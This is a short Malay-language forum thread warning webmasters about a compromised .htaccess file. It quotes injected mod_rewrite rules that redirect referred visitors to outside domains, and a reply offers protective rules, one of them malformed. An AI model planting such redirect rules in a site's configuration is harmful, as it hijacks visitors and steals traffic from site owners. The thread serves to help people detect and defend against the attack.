WARNING!!! WARNING WARNING Serangan file .htaccess

KMZack

Newbie
Joined
Oct 9, 2007
Messages
3,918
Points
38
Salam/hi,

cuba semak file .htaccess anda.. kalau ada mendalah ni better delete

Code:
<IfModule mod_rewrite.c>
	RewriteEngine On
	RewriteBase /
	RewriteCond %{HTTP_REFERER} ^http://[w.]*([^/]+)
	RewriteCond %{HTTP_HOST}/%1 !^[w.]*([^/]+)/\1$ [NC]
	RewriteRule ^.*$ http://ifuturo.net/hams.html?h=1086136 [L,R]
</IfModule>

<IfModule mod_rewrite.c>
	RewriteEngine On
	RewriteBase /
	RewriteCond %{HTTP_REFERER} ^http://[w.]*([^/]+)
	RewriteCond %{HTTP_HOST}/%1 !^[w.]*([^/]+)/\1$ [NC]
	RewriteRule ^.*$ http://salvadorpostigo.com/hzws.html [L,R]
</IfModule>
seba web den dah kena serang ....habis traffic drop..
 

sylverfist

freshman
Joined
Jan 17, 2009
Messages
181
Points
16
salam kmzack camne org tu leh masuk htaccess bro? dalam htaccess ko ada ni tak..

# protect wpconfig.php
<files wp-config.php>
order allow,deny
deny from all
</files>

# directory browsing
Options All -Indexes

# Protect the .htaccess
<files .htaccess="web.config">
order allow,deny
deny from all
</files>

<Files ~ "^.*\.([Hh][Tt][Aa])">
order allow,deny
deny from all
satisfy all
</Files>

kalu takda baik bubuh..hehe...tuk protection
 
Joined
May 17, 2010
Messages
251
Points
16
Bahaya juga ni..nak kena check juga files2 .htaccess..takut2 ada benda tu..nanti abis traffic kena curi.
 
Top